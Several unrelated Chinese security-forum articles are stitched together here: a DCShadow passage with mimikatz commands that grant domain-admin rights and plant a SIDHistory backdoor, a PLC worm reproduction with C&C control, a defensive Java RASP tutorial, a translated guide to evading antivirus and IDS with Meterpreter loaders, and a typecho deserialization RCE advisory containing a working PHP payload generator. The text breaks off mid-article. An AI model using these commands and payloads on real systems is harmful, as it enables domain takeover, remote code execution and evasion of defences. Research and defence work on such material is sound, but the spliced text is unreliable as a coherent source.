## 二、利用条件
测试环境：dc机器2008r2 x64、伪装机器：win7 x64
准备条件：（两个窗口）
1、win7 system权限 (1号窗口)，可以利用psexec -s
cmd调system会话，也可以用mimikatz运行驱动模式，确保所有线程都运行在system上
2、win7 域管权限 （2号窗口）
在win7 中利用psexec 调用cmd即可：
##
## 三、利用方式
1、更改属性描述值
1号窗口执行数据更改与监听（后同）：
`lsadump::dcshadow /object:CN=dc,CN=Users,DC=seven,DC=com
/attribute:description /value:”anquanke-test2018!!”`
2号窗口执行域复制（后同）：
`lsadump::dcshadow /push`
在dc2008上查看结果：
2、添加域管
`lsadump::dcshadow /object:CN=dc,CN=Users,DC=seven,DC=com
/attribute:primarygroupid/value:512`
执行域复制后成功添加域管：
3、添加sidhistory 后门
查看域管administrator sid：
`lsadump::dcshadow /object:CN=dc,CN=Users,DC=seven,DC=com
/attribute:sidhistory /value:S-1-5-21-1900941692-2128706383-2830697502-500`
使用dc用户建立net use 链接后可成功访问域控：
##
## 四、总结
Dcshadow 的利用我们可以做很多事情，包括ldap用户的修改，添加后门（sidhistory后门，
AdminSDHolder后门，acl后门等等），在碰到域防护较为严格的时候，往往能起到很好的bypass的效果。 | 社区文章 |
## 研究背景
随着“互联网+”、“中国智能制造2025“、“工业4.0”等概念的提出，为了提高生产率，独立、隔离的传统工控领域将迎来了新的互联网时代，越来越多的工控设备（如控制器、机器人、数控机床）将被暴露在互联网上或者与企业内网相连。随着互联网时代的来临，安全问题会越来越突出。然而，工业控制系统的安全不同于传统信息网络的安全，一旦出现网络攻击，后果不堪设想。关于工控病毒相关关键事件如下：
1. 2010年伊朗核设施遭受“震网”超级病毒攻击，病毒的复杂程度超出人们的想象，该事件也被称为世界上首个“网络超级武器”事件。由于工业病毒攻击可以直接导致物理设备的故障，并进一步造成生产瘫痪甚至爆炸的灾难性后果。
2. Black Hat 2011报告[《Exploiting Siemens Simatic S7 PLCs》](https://github.com/w3h/icsmaster/raw/master/doc/%E5%9B%BD%E5%A4%96/Exploiting%20Siemens%20Simatic%20S7%20PLCs.pdf)，演示了通过西门子S7Comm协议的权限缺失漏洞来远程操作PLC，对PLC进行启停控制、内存的读写。
3. Black Hat 2015报告[《Internet-facing PLCs – A New Back Orifice》](https://github.com/w3h/icsmaster/raw/master/doc/%E5%9B%BD%E5%A4%96/us-15-Klick-Internet-Facing-PLCs-A-New-Back-Orifice-wp.pdf)，演示了如何通过PLC实现通信代理，通过PLC突破网络边界，来发现内网中更多的PLC设备。
4. Black Hat 2016报告[《PLC-Blaster: A Worm Living Solely in the PLC 》](https://github.com/w3h/icsmaster/raw/master/doc/%E5%9B%BD%E5%A4%96/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf)，提出了PLC蠕虫病毒的概念,提出了西门子1200 V3版本协议认证的缺陷，但没有具体的实现细节。
近日，工匠实验室工控安全专家针对PLC进行深入研究，通过梯形图和SCL相结合的方式，利用PLC自身通信功能,
复现了这个病毒，实现了病毒在PLC与PLC之间进行传播。同时，针对这一病毒，我们已经开发了相应的检测工具，这标志着华创网安在工控安全领域掌握了这方面的核心技术，也体现了工控领域的研发实力。
## PLC基本结构
PLC 实质是一种专用于工业控制的计算机，其硬件结构基本上与微型计算机相同，如图所示：
1. 中央处理单元（CPU）中央处理单元（CPU）是PLC 的控制中枢。它按照PLC 系统程序赋予的功能接收并存储从编程器键入的用户程序和数据：检查电源、存储器、I/O 以及警戒定时器的状态，并能诊断用户程序中的语法错误，当PLC 投入运行时，首先它以扫描的方式接收现场各输入装置的状态和数据，并分别存入I/O 映象区，然后从用户程序存储器中逐条读取用户程序，经过命令解释后按指令的规定执行逻辑或算数运算的结果送入I/O 映象区或数据寄存器内。等所有的用户程序执行完毕之后，最后将I/O映象区的各输出状态或输出寄存器内的数据传送到相应的输出装置，如此循环运行，直到停止运行。为了进一步提高PLC 的可靠性，近年来对大型PLC 还采用双CPU 构成冗余系统，或采用三CPU 的表决式系统。这样，即使某个CPU 出现故障，整个系统仍能正常运行。
2. 存储器存放系统软件的存储器称为系统程序存储器。存放应用软件的存储器称为用户程序存储器。虽然各种PLC的CPU的最大寻址空间各不相同，但是根据PLC的工作原理其存储空间一般包括以下三个区域：系统程序存储区、系统RAM 存储区（包括I/O 映象区和系统软设备等）、用户程序存储区
3. 电源PLC 的电源在整个系统中起着十分重要得作用。如果没有一个良好的、可靠得电源系统是无法正常工作的，因此PLC 的制造商对电源的设计和制造也十分重视。一般交流电压波动在±10%（±15%）范围内，可以不采取其它措施而将PLC 直接连接到交流电网上去。
4. 输入/输出电路I/O扩展接口用于将扩充外部输入/输出端子数的扩展单元与基本单元（即主机）连接在一起。
## 蠕虫介绍
蠕虫病毒是一种常见的计算机病毒。它是利用网络进行复制和传播，传染途径是通过网络和电子邮件。最初的蠕虫病毒定义是因为在DOS环境下，病毒发作时会在屏幕上出现一条类似虫子的东西，胡乱吞吃屏幕上的字母并将其改形。蠕虫病毒是自包含的程序（或是一套程序），它能传播自身功能的拷贝或自身的某些部分到其他的计算机系统中（通常是经过网络连接）。
工控蠕虫主要的针对的对象是工业控制设备，通过控制器之间进行病毒传播，这与传统计算机蠕虫是存在很大差别，传统蠕虫寄生对象都是计算机（Window或者Linux），工控蠕虫寄生对象是控制器逻辑代码中。由于病毒可以混淆于正常的控制逻辑代码中，传统防御方式都不适合于工控蠕虫的防护，检测与查杀的方式更强困难。虽然工控蠕虫与计算机蠕虫存在很多的不同点，但所有的蠕虫的基本架构都是相同的。所有的蠕虫攻击都可以归为一下几个阶段：搜索目标，感染目标，在目标上执行，添加恶意功能。由于PLC控制器提供网络通信能力，在PLC上蠕虫也同样支持这些功能。这篇文章将展示每个必须组件的实现方法。
## 蠕虫实现
蠕虫实现的主要的编程软件为西门子的TIA Portal(博途)，在TIA
Portal(博途)编程软件中，用户通过编写程序来完成工业现场的控制以及工艺流程的实现。博途中分为以下几类块：
* OB(Organization Block )：组织块，为程序的入口块，被系统直接调用（其他块不可以被系统直接调用，必须包含在OB中才可以执行）。
* FB(Function Block)：功能块，既可以是博途中已包含的功能块，也可以是用户自己编写的块，编程中需要带背景数据块（又叫实例数据块，Instance Data Block）使用。
* FC(Function)：功能，既可以是博途中已包含的功能块，也可以是户自己编写，不可以带背景数据块。
* DB(Data Block)：数据块，分为背景数据块和共享数据块，其中背景数据块为私有块。编程时，户可以定义共享数据块的数据存储结构，不可以定义背景数据块的数据存储结构，必须由FB定义。数据块中的数据掉电不丢失。
* SFB(System Function Block)：系统功能块，系统内部功能块，用户不可自己编写，不可更改，使用同FB。
* SFC(System Function)：系统功能，系统内部功能，用户不可自己编写，不可更改，使用同FC。博途软件支持的编程语言有： LD(梯形图)，FBD(功能块图)、SCL(结构化控制语言)、STL(语句列表)。
S7-1200只支持LAD、FBD和SCL三种编程语言，并且在下载过程中会先停止运行，然后下载程序，下载完成后重新启动。
### 1\. 实现流程
病毒首先选择IP通过西门子通信端口102尝试建立连接，如果连接建立成功，则检查目标PLC是否已被感染。如连接未建立成功，或目标PLC已被感染，则选择新IP重新尝试建立连接。如目标PLC未被感染，则停止目标PLC，下装病毒程序，最后重新启动目标PLC。流程如下图所示。
### 2\. 寻找目标
西门子PLC通过102端口进行TCP通信，因此可以尝试通过102端口与设备建立TCP通信来寻找目标。博途开发平台提供了两个FB块——通讯连接块TCON和断开通讯连接块TDISCON，如下图所示。
程序块TCON和TDISCON的参数说明
* 使用TCON和DISTCON块尝试建立和断开连接
如果TCON建立了连接则判断设备型号或者下载程序。由于TCON只需触发一次连接命令，就会一直尝试与目标建立连接，直到连接成功。因此，如果1s内没有建立连接则改变IP地址，尝试连接下一台PLC；如果建立了连接，则通过发送指令判断设备信号或者下载病毒程序，完成后改变IP地址，并尝试连接下一台设备。
* 更改IP
断开连接后则更改IP地址，准备连接下一台设备
### 3\. 传播感染
连接建立后，病毒调用数据传送命令TSEND和数据接收命令TRCV进行传播。见下图
程序块TSEND和TRCV的参数说明
* 判断是否已感染
病毒在传播感染之前需要判断当前对象是否已经被感染，避免重复感染。判断是否被感染，如果感染，则跳过感染，如果未感染，则执行程序传送，感染对象。具体实现如下图：
* 建立连接认证
在程序的发送过程中，需要满足S7协议的相关通信时序以及报文格式。下图为S7建立连接的过程。首先是TCP的三次握手，接下来建立COTP连接，建立完成后进行S7协议的连接建立。
具体逻辑实现代码如下：
### 4\. 激活
PLC执行顺序是从OB1开始，按顺序执行到OB9999的。
建立调用病毒程序的OB块OB9999，并将其存植入到目标PLC中，用以激病毒，并进行新的病毒传播感染。西门子PLC在运行时，会按照从OB1到OB9999的顺序进行调用。如下图所示。
在其他病毒块下载完成后，用OB9999（也可以用其他非系统自带的OB块，未了避免病毒的OB块与PLC中正常的OB块重复，建议块的序号尽量大些）启动病毒程序。
### 5\. 恶意功能的实现——连接C&C服务器
一旦PLC被感染病毒，会基于TCP主动去连接C&C服务器。通过C&C服务器，可以远程控制PLC，包括PLC的启停，输出值的改变等。当C&C服务器向连接了C&C服务器的PLC发送指令后，PLC会解析命令并执行。以点灯程序为例说明其危害性。下图为C&C服务器点灯的解析部分：
### 6\. 感染前后对比
博途软件提供了PLC程序在线与离线差异的检测功能，如下图所示。程序块后面的绿色圆圈表示在线程序与离线程序一致，蓝色与橘黄色组成的圆形表示在线程序与离线程序不一致。块为虚样式，表示博途的程序中没有此块，而PLC有。
## 演示截图
红灯表示PLC感染状态，绿灯表示PLC正常控制的终端运行状态，PLC使用的是西门子1200
V3版本，从左到右分别为PLC0，PLC1，PLC2。默认情况下，PLC1和PLC2离线的，当PLC0被感染后，PLC1和PLC2接入网络，随后PLC0就会感染PLC1和PLC2。
图1：PLC处于正常运行状态
图2：PLC0被感染病毒，反向联接C&C服务器
图3：PLC1与PLC2联网，PLC0正在感染PLC1
图4：PLC1被感染病毒，反向联接C&C服务器
图5：PLC2被感染病毒，反向联接C&C服务器
## 防护措施
1. 部署控制设备管理系统，定期对PLC控制逻辑代码进行备份，一旦PLC被感染，可以迅速通过备份的PLC程序重置进行快速恢复。
2. 设置CPU访问密码，禁止非授权用户上下载逻辑代码，密码一定不能是弱口令。
3. 对工控网络进行风险评估，识别核心资产，根据不同安全级别进行安全分区，一旦受到网络攻击，将损失控制在最小的范围内。
4. 在工控系统中安装工控监测审计系统，通过工控协议深度解析，根据特征值的进行采集、分析与识别，如发现异常数据包，如控制器启停、程序上下载，则记录日志或报警。
5. 安全域边界安装工控防火墙，通过工控防火墙，对异常数据包进行检测以及隔离防护。
6. 针对工控网络制定应急处理预案，当遇见突发网络攻击事件，可以实现快速恢复。 | 社区文章 |
作者: **xbear**
#### 0x01 什么是RASP
RASP（Runtime application self-protection）运行时应用自我保护。Gartner 在2014年应用安全报告里将 RASP
列为应用安全领域的关键趋势，并将其定义为:
> Applications should not be delegating most of their runtime protection to
> the external devices. Applications should be capable of self-protection
> (i.e., have protection features built into the application runtime
> environment).
RSAP
将自身注入到应用程序中，与应用程序融为一体，实时监测、阻断攻击，使程序自身拥有自保护的能力。并且应用程序无需在编码时进行任何的修改，只需进行简单的配置即可。
#### 0x02 RASP 能做什么
RASP不但能够对应用进行基础安全防护，由于一些攻击造成的应用程序调用栈调用栈具有相似性，还能够对0day进行一定的防护。
除此之外，利用 RASP 也能够对应用打虚拟补丁，修复官方未修复的漏洞。或者对应用的运行状态进行监控，进行日志采集。
#### 0x03 WAF VS RASP
传统的 WAF 主要通过分析流量中的特征过滤攻击请求，并拦截携带有攻击特征的请求。WAF
虽然可以有效个过滤出绝大多数恶意请求，但是不知道应用运行时的上下文，必然会造成一定程度的误报。并且 WAF
严重依赖于特征库，各种花式绕过，导致特征编写很难以不变应万变。
RASP 的不同就在于运行在应用之中，与应用融为一体，可以获取到应用运行时的上下文，根据运行时上下文或者敏感操作，对攻击进行精准的识别或拦截。于此同时，由于
RASP 运行在应用之中，只要检测点选取合理，获取到的 payload 已经是解码过的真实 payload ，可以减少由于 WAF 规则的不完善导致的漏报。
虽然 RASP 拥有 WAF 所不具有的一些优势，但是否能够代替 WAF 还有待商榷。毕竟 WAF 是成熟、快速、可以大规模部署的安全产品。两者相互补充，将
WAF 作为应用外围的防线，RASP 作为应用自身的安全防护，确保对攻击的有效拦截。
#### 0x04 实现基本思路
这里以 Java Rasp 的实现原理为例。Rasp 想要将自己注入到被保护的应用中，基本思路类似于 Java 中的 AOP 技术，将 RASP
的探针代码注入到需要进行检测的地方。
Java 的 AOP 主要可以从几个层面来实现：
* 编译期
* 字节码加载前
* 字节码加载后
在编译期进行 AOP 织入，一般需要编写静态代理，导致灵活性差，对原有的应用代码有修改。
在字节码加载后进行 AOP
织入，一般使用动态代理，为接口动态生成代理类。动态代理虽然灵活性高，但仍然需要使用相关的类库，进行动态代理的配置，并融合到应用的源代码中，不是理想的解决方案。
最后只剩下了在字节码加载前进行 AOP 织入。在字节码加载前进行织入，一般有两种方法，重写 ClassLoader 或利用 Instrumentation
。如果重写 ClassLoader ，仍然对现有代码进行了修改，不能做到对应用无侵入。所以只有利用 Java 的 Instrumentation 。
#### 0x05 利用 Java Instrumentation 在 class 加载前插入修改机会
“java.lang.instrument”包的具体实现依赖于 JVMTI 。JVMTI（Java Virtual Machine Tool
Interface）是一套由 Java 虚拟机提供的，为 JVM 相关的工具提供的本地编程接口集合。在 Instrumentation 的实现当中，存在一个
JVMTI 的代理程序，通过调用 JVMTI 当中 Java 类相关的函数来完成 Java 类的动态操作。
我们可以 Instrumentation 的代理，并让其在 main 函数之前运行，这里需要实现的主要是 premain 函数。
public static void premain(String agentArgs, Instrumentation inst)
throws ClassNotFoundException, UnmodifiableClassException {
Console.log("init");
init();
inst.addTransformer(new ClassTransformer());
}
private static boolean init() {
Config.initConfig();
return true;
}
在 premain 函数中，我们将类转换器添加到了 Instrumentation ，这样在类加载前，我们便有机会对字节码进行操作，织入 Rasp
的安全探针。
若想使用带有 Instrumentation 代理的程序，需要在 JVM 的启动参数中添加 -javaagent 启动参数。
-javaagent:[编译好的agent jar文件路径]XXX.jar
#### 0x06 利用 ClassTransformer 进行探针织入
在运行了 Instrumentation 代理的 Java 程序中，字节码的加载会经过我们自定义的 ClassTransformer
，在这里我们可以过滤出我们关注的类，并对其字节码进行相关的修改
public class ClassTransformer implements ClassFileTransformer {
public byte[] transform(ClassLoader loader, String className, Class<?>
classBeingRedefined,
ProtectionDomain protectionDomain, byte[] classfileBuffer) throws
IllegalClassFormatException {
byte[] transformeredByteCode = classfileBuffer;
if (Config.moudleMap.containsKey(className)) {
try {
ClassReader reader = new ClassReader(classfileBuffer);
ClassWriter writer = new ClassWriter(ClassWriter.COMPUTE_MAXS);
ClassVisitor visitor =
Reflections.createVisitorIns((String)Config.moudleMap.get(className).get("loadClass"),
writer, className);
reader.accept(visitor, ClassReader.EXPAND_FRAMES);
transformeredByteCode = writer.toByteArray();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (Exception e) {
e.printStackTrace();
}
}
return transformeredByteCode;
}
}
实现中使用了使用了 Map 将关注的类进行保存，一旦命中我们关心的类，便利用反射生成 asm 的ClassVisitor ，使用 asm
操作字节码，进行探针织入，最终返回修改后的字节码。
这里的 ClassVisitor 以 Struts 2 的 Ognl 表达式执行漏洞为例：
public class OgnlVisitor extends ClassVisitor {
public String className;
public OgnlVisitor(ClassVisitor cv, String className) {
super(Opcodes.ASM5, cv);
this.className = className;
}
@Override
public MethodVisitor visitMethod(int access, String name, String desc,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
if ("parseExpression".equals(name) &&
"(Ljava/lang/String;)Ljava/lang/Object;".equals(desc)) {
mv = new OgnlVisitorAdapter(mv, access, name, desc);
}
return mv;
}
}
在这个 ClassVisitor 中，我们关心的是 ognl.Ognl 类中的 parseExpression 方法。只要在 Ognl 的
parseExpression 执行之前对 Ognl 表达式中的恶意参数进行过滤，可以对 Struts 2 的 Ognl
表达式执行漏洞进行有效的防护。具体的字节码操作封装在了 OgnlVisitorAdapter 中。
public class OgnlVisitorAdapter extends AdviceAdapter {
public OgnlVisitorAdapter(MethodVisitor mv, int access, String name,
String desc) {
super(Opcodes.ASM5, mv, access, name, desc);
}
@Override
protected void onMethodEnter() {
Label l30 = new Label();
mv.visitLabel(l30);
mv.visitVarInsn(ALOAD, 0);
mv.visitMethodInsn(INVOKESTATIC,
"xbear/javaopenrasp/filters/rce/OgnlFilter", "staticFilter",
"(Ljava/lang/Object;)Z", false);
Label l31 = new Label();
mv.visitJumpInsn(IFNE, l31);
Label l32 = new Label();
mv.visitLabel(l32);
mv.visitTypeInsn(NEW, "ognl/OgnlException");
mv.visitInsn(DUP);
mv.visitLdcInsn("invalid class in ognl expression because of security");
mv.visitMethodInsn(INVOKESPECIAL, "ognl/OgnlException", "<init>",
"(Ljava/lang/String;)V", false);
mv.visitInsn(ATHROW);
mv.visitLabel(l31);
}
@Override
public void visitMaxs(int maxStack, int maxLocals) {
super.visitMaxs(maxStack, maxLocals);
}
}
在 ognl.Ognl 类中的 parseExpression 方法执行前，Hook 了方法的执行，跳转至执行自定义的 OgnlFilter 。
OgnlFilter 中定义了如何对 Ognl 表达式进行过滤。如果出现了威胁的表达式，将进行log记录并抛出异常，若正常将放过，继续进行
parseExpression 。
#### 0x07 结尾
这里介绍了 Java Rasp 实现的基本原理，除了 ognl.Ognl 类中的 parseExpression
方法加探针外，还有很多的地方可以加探针，比如：`java/io/ObjectInputStream`、`java/lang/ProcessBuilder`、`com/mysql/jdbc/StatementImpl`
等等。重点关注数据的关键流转节点加入 Rasp 探针，进行安全过滤。
如果探针部署的足够充分，可以有效的防御 XSS、CSRF、RCE、SQL 注入等 Web 攻击。如果 Rasp
与云端结合，不但能够采集应用的安全日志，也能够对发现的漏洞进行迅速的修补，甚至抵御 0Day 攻击。
Demo: https://github.com/xbeark/javaopenrasp
这里只实现了使用了 Instrumentation 的 premain 进行代理，其实还可以使用 agentmain 进行虚拟机启动后的动态
instrument ，具体就不在这里研究啦~
* * * | 社区文章 |
# 【技术分享】SpookFlare: 黑暗中前行
|
##### 译文声明
本文是翻译文章，文章来源：artofpwn.com
原文地址：<https://artofpwn.com/spookflare.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[Kp_sover](http://bobao.360.cn/member/contribute?uid=2899451914)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**Windows与安全**
****Windows 作为最成功和市场占有率最高的操作系统，也承载了各种各样的安全产品，下面是2017年8月份 NetMarketShare
的一份报告，给出了操作系统市场份额情况，当然，任何一款操作系统伴随着它更高的使用率，随之而来的肯定也会成为更多攻击者的目标，这意味着更多的安全产品会被用于这些操作系统中，并且这些安全产品必须不断改进自己以避免要保护
的系统受到攻击。
**安全产品检测**
Windows作为最常用的操作系统，它经常充当着渗透测试者的目标。如果你打算侵入/渗透 Windows操作系统，Meterpreter
会是你最常用的RAT，因为它可以和Metasploit充分的结合起来。Meterpreter不仅被用于合法的目的，更多的时候是非法的，这意味着，Meterpreter经常会被安全产品归为恶意的工具。这就导致在目标系统的渗透测试过程中，绕过这些安全产品成为必要的步骤。那么，安全产品到底是怎么运作的?
SpookFlare 将怎么帮助我们绕过它们？
我们可以分三个方向来描述安全产品检测的方法:
第一个是基于特征的检测；
第二个是基于行为检测，
第三个是基于软件信誉的检测。
首先为了逃避安全产品的特征检测，我们可以采用的方法是混淆加密；其次，你必须处理软件的行为来避开安全产品的行为检测，比如说如果你在受害者的系统中使用Mimikatz去获得本地用户数据的行为已经被检测到，那你完全可以换成微软
SysInternals
提供的procdump工具来进行相似的操作，因为它已经被正规机构授权并且通常认为是用于合法目的，所以在这里你可以用来避开安全产品的行为检测；最后是基于信誉的检测，事情从这里开始就变得复杂了，因为每种安全产品的判断机制和信誉检测的算法是不一样的，所以有时候你的软件会被某些安全产品定义为恶意的。这个时候，为了避开安全产品的检测你只能充分运用你的经验。因为最终，安全产品还是通过他们所了解的攻击向量来检测的，我的意思是如果你有不被大家知道的技术或方法，当然你就可以避开目标系统安全软件的检测。
目前有很多可以避开安全产品检测的方法，SpookFlare 提供了新的策略去实现这些，它可以让你避开无论是终端还是网络端的检测。SpookFlare 是
Meterpreter反向HTTP和HTTPS
stage的加载器。它具有自定义加密、字符串混淆和代码运行时编译的特点，因此你可以很容易避开目标系统的安全对策，直到某一天它们识别出了SpookFlare的技术和行为。
从下面图片中可以发现SpookFlare的技术细节和一些重要执行步骤：
**混淆技术**
在软件的发展历程中，混淆是一种用来增加人们理解源代码或者机器代码难度的技术。
SpookFlare把混淆用于字符串名称上，因此，安全产品通过提取字符串特征的做法将变得很困难。事实上为字符串添加特征的行为大多时候还是由恶意软件分析专家或安全产品开发者完成的。当恶意软件分析师分析样本的时候，一旦断定该样本是恶意软件，那么有关这个恶意软件的某些特征将会被提取，并且被添加到AV或终端安全产品的特征数据库里。如果一个文件的任何一个字节被改变，那适用于这个文件的特征库也会改变。如果你修改了某个被定位为特征部分的字符串，或许你就能绕过安全产品基于特征的这部分检测，SpookFlare
就是使用字符串混淆技术来让每个生成的payload都尽可能的独特。
**代码运行时编译**
即使你的程序已经使用了混淆技术，你的代码部分也必须作出相应的改变，因为基于字符串的混淆只能在一定程度上达到目的，比如，如果安全产品将字符串检测技术用在
打开进程(OpenProcess)、分配虚拟内存（VirtualAlloc）等系统调用上时，有可能你的程序仍会被安全产品检测到。因为有很多的恶意软件都会使用那些系统函数，所以安全产品认为这是可疑的。为躲避这种检测，SpookFlare通过在这些可疑代码开始的地方定义新的payload，让它在运行时隐藏这种调用行为.
.net有一套机制叫做 CodeDOM
,它可以让开发者编写出一种代码，代码里包含一段只在运行时才会编译的代码，类似下面这段C#程序，它可以定义一段c#代码到
"code"这个变量里，然后只当这个程序运行时才会去编译并执行它.
SpookFlare
的payload使用了这种实时编译和执行的技术，每个SpookFlare生成的payload都包含了相应的loader代码，你可以把这段代码拷贝到编译器去编译.
**源代码加密**
目前为止，我们了解了字符串混淆和代码实时编译技术，接下来我们还得了解如何去隐藏 loader
里的明文代码，因为如果我们加载器里的代码有可能已经被杀软提取了特征，所以是有可能被检测到的，因此这里我使用了c#提供的 RijnDaelManaged
类来加密明文代码，这就像是一个加密软件的行为一样.
**bypass网络层检测**
这部分知识是受到了 @Arno0x0x 的启发，在这里我再进一步，通常我们使用 Meterpreter 的 Stager
负载，这种负载通过网络来下载它的核心模块（stage）并在内存里执行，但安全产品不只是在终端起作用，在网络层可能也是个大麻烦，别忘了
IDS/IPS这类产品，即使我们绕过了终端的安全策略，但在网络层的行动仍有可能被破坏掉。
那么，这些安全策略是如何检测网络层的威胁呢？答案还是基于特征码的检测，所以这个时候你可能会想到用一个编码器给 Meterpreter
的核心负载（stage）编码来绕过这种检测，这种方法有一定的作用，这样做的话，你也必须在
stage上添加一段代码去解码，但这同时也为恶意分析员提供了便利。因此我们必须有所改变，让检测和分析变得更加困难，在这点上，SpookFlare
可能比其他任何编码器都做的要好.
恶意软件分析员是怎样为一个二进制文件添加特征的？其实就是为每一个二进制文件的头部数据提取出一个特有的模型，这样恶意软件分析员就可以很方便的识别和检测出有害的文件了.针对这种情况我们可以在Metasploit
的头部添加一段随机的自定义字节，这样就可以绕过网络层的检测了.这也是 SpookFlare 提供的解决方案.
我们知道，meterpreter_loader.rb 这个脚本是负责创建 meterpreter 的stage，
/usr/share/metasploit-framework/lib/msf/core/payload/windows/x64/meterpreter_loader.rb
这个是作为64位的stage.
/usr/share/metasploit-framework/lib/msf/core/payload/windows/meterpreter_loader.rb是x86 的stage.我们使用
Ruby 提供的 安全随机数库（securerandom library）来添加随机字节到 stage 的头部,下面是具体的代码实现.
下面是添加随机的数据并重新定义stage的开始部分
最后我们告诉加载器跳过开头的这些随机字段，从它后面部分开始执行，c#里的Array.Copy 或
Buffer.BlockCopy函数可以实现这个功能，但Array.Copy 比 Buffer.BlockCopy速度更快，因此在这里 Spookflare
采用了Array.Copy函数
好了，到这里一切都结束了，现在是到了检测成果的时候了，下面分别是 Spookflare 加载器、一般的 Meterpreter
stages、patch后的Meterpreter stages的检测结果：
SpookFlare Loader 的扫描结果
Meterpreter Stage 的扫描结果
Patch后的Meterpreter Stage的扫描结果
**总结**
当然你知道的，随着 SpookFlare 使用人数的不断增加，安全公司肯定会为SpookFlare
定义一套单独的特征和行为检测算法，不过别担心，当这个情况发生的时候，SpookFlare
的特征和行为也会随之改变，那时可能会是另一种新的技术被用来实现这个功能，我是有很大的信心做到的，因为绕过杀软本身就是一个猫鼠游戏，永远没有终点 🙂
，最后声明下，我开发 SpookFlare 只是为了渗透测试、团队交流，仅仅是出于学习的目的，所以责任自负.
我已经尽可能解释了 SpookFlare 它的工作原理，下面提供了视频和代码地址告诉你怎样去使用它.
视频演示：
工程地址：
[<https://github.com/hlldz/SpookFlare>](https://github.com/hlldz/SpookFlare)
**References**
[Usage share of operating systems –
Wikipedia](https://en.wikipedia.org/wiki/Usage_share_of_operating_systems)
[[Dynamic Source Code Generation and
Compilation](https://docs.microsoft.com/en-us/dotnet/framework/reflection-and-codedom/dynamic-source-code-generation-and-compilation)](https://docs.microsoft.com/en-us/dotnet/framework/reflection-and-codedom/dynamic-source-code-generation-and-compilation)
[[Compiling C# Code at
Runtime](https://www.codeproject.com/Tips/715891/Compiling-Csharp-Code-at-Runtime)](https://www.codeproject.com/Tips/715891/Compiling-Csharp-Code-at-Runtime)
[[Array.Copy vs
Buffer.BlockCopy](https://stackoverflow.com/questions/1389821/array-copy-vs-buffer-blockcopy)](https://stackoverflow.com/questions/1389821/array-copy-vs-buffer-blockcopy)
[[](https://www.codeproject.com/Articles/65183/Buffer-BlockCopy-not-as-fast-as-you-think)[Buffer.BlockCopy Not As Fast As You
Think](https://www.codeproject.com/Articles/65183/Buffer-BlockCopy-not-as-fast-as-you-think)](https://www.codeproject.com/Articles/65183/Buffer-BlockCopy-not-as-fast-as-you-think)
[](https://arno0x0x.wordpress.com/2016/04/13/meterpreter-av-ids-evasion-powershell/)[](https://arno0x0x.wordpress.com/2016/04/13/meterpreter-av-ids-evasion-powershell/)[Meterpreter stage AV/IDS evasion with
powershell](https://arno0x0x.wordpress.com/2016/04/13/meterpreter-av-ids-evasion-powershell/) | 社区文章 |
# 【漏洞分析】typecho前台GETSHELL分析预警
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**0x00 背景介绍**
2017年10月24日，typecho被爆出 **install.php** 页面存在 **反序列化任意命令执行漏洞，危害广泛**
**0x01 漏洞概述**
**install.php** 一处if判断里 **直接处理了用户传入的序列化字符串** ，以及可以在现有框架中寻找到一条完整的pop执行链
导致任意php命令执行
**0x02 漏洞攻击面影响**
**1\. 影响面**
几乎市面上的 **未及时更新的所有typecho都受到该漏洞影响**
**2\. 影响版本**
git commit 242fc1a4cb3d6076505f851fdcd9c1bbf3e431a5
之前的几乎所有版本
**3\. 修复版本**
git commit e277141c974cd740702c5ce73f7e9f382c18d84e
以后的commit
**0x03 漏洞详情**
**1\. 漏洞代码**
这里可以预想，应该不会有显然在 **__constract()** 中写出危险操作的开发吧
所以把思路转向字符串拼接的时候
寻找下 **__toString()**
其实只有三个class有这个 **__toString()**
var/Typecho/Feed.php
var/Typecho/Config.php
var/Typecho/Db/Query.php
这里面大致出现了如下几种调用
$item['xxx']
$item['xxx']->$yyyy
$this->
从这个点可以有些新的思考
因为是反序列化，对象中的属性也是我们可以控制的，那么现在去找找 **__get()** 方法
class Typecho_Config implements Iterator
class IXR_Client
class Typecho_Plugin
class Widget_Themes_Edit extends Widget_Abstract_Options implements Widget_Interface_Do
class Typecho_Date
class Typecho_Request
abstract class Typecho_Widget
class Typecho_Widget_Helper_Layout
有这么些个函数是带有 **__get()** 方法的
有这么一处完整不经过变化处理的
然后直接由 **call_user_func** 执行构造好的指定代码
**0x04攻击利用分析**
**1\. Payload生成**
<?php
class Typecho_Request
{
private $_params = array('screenName'=>'eval('phpinfo();exit();')');
private $_filter = array('assert');
}
$payload1 = new Typecho_Request();
class Typecho_Feed
{
private $_type = 'RSS 2.0';
private $_items;
public function __construct($x1)
{
$this->_items[] = array('author'=>$x1);
}
}
$payload2 = new Typecho_Feed($payload1);
$exp['adapter'] = $payload2;
$exp['prefix'] = 'c1tas';
echo base64_encode(serialize($exp));
**0x05 漏洞利用验证**
**0x06 修复建议**
及时同步官方分支
注释掉 **install.php** 相关代码
**0x07 时间线**
2017-10-24 typecho官方更新commit修复漏洞
2017-10-25 360CERT完成分析报告
2017-10-26 360CERT发布分析报告
**0x08 参考文档**
typecho“后门”分析: <http://paper.tuisec.win/detail/3e924e55456f065.jsp>
php自动调用: <http://www.cnblogs.com/shirui/p/4767994.html>
php反序列化: <http://bobao.360.cn/learning/detail/4122.html> | 社区文章 |
# 【技术分享】检测本地文件躲避安全分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://www.brokenbrowser.com/detecting-local-files-to-evade-analysts/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **WisFree**
****](http://bobao.360.cn/member/contribute?uid=2606963099)
**预估稿费：200RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[ **网页版**
****](http://bobao.360.cn/contribute/index) **在线投稿**
**前言**
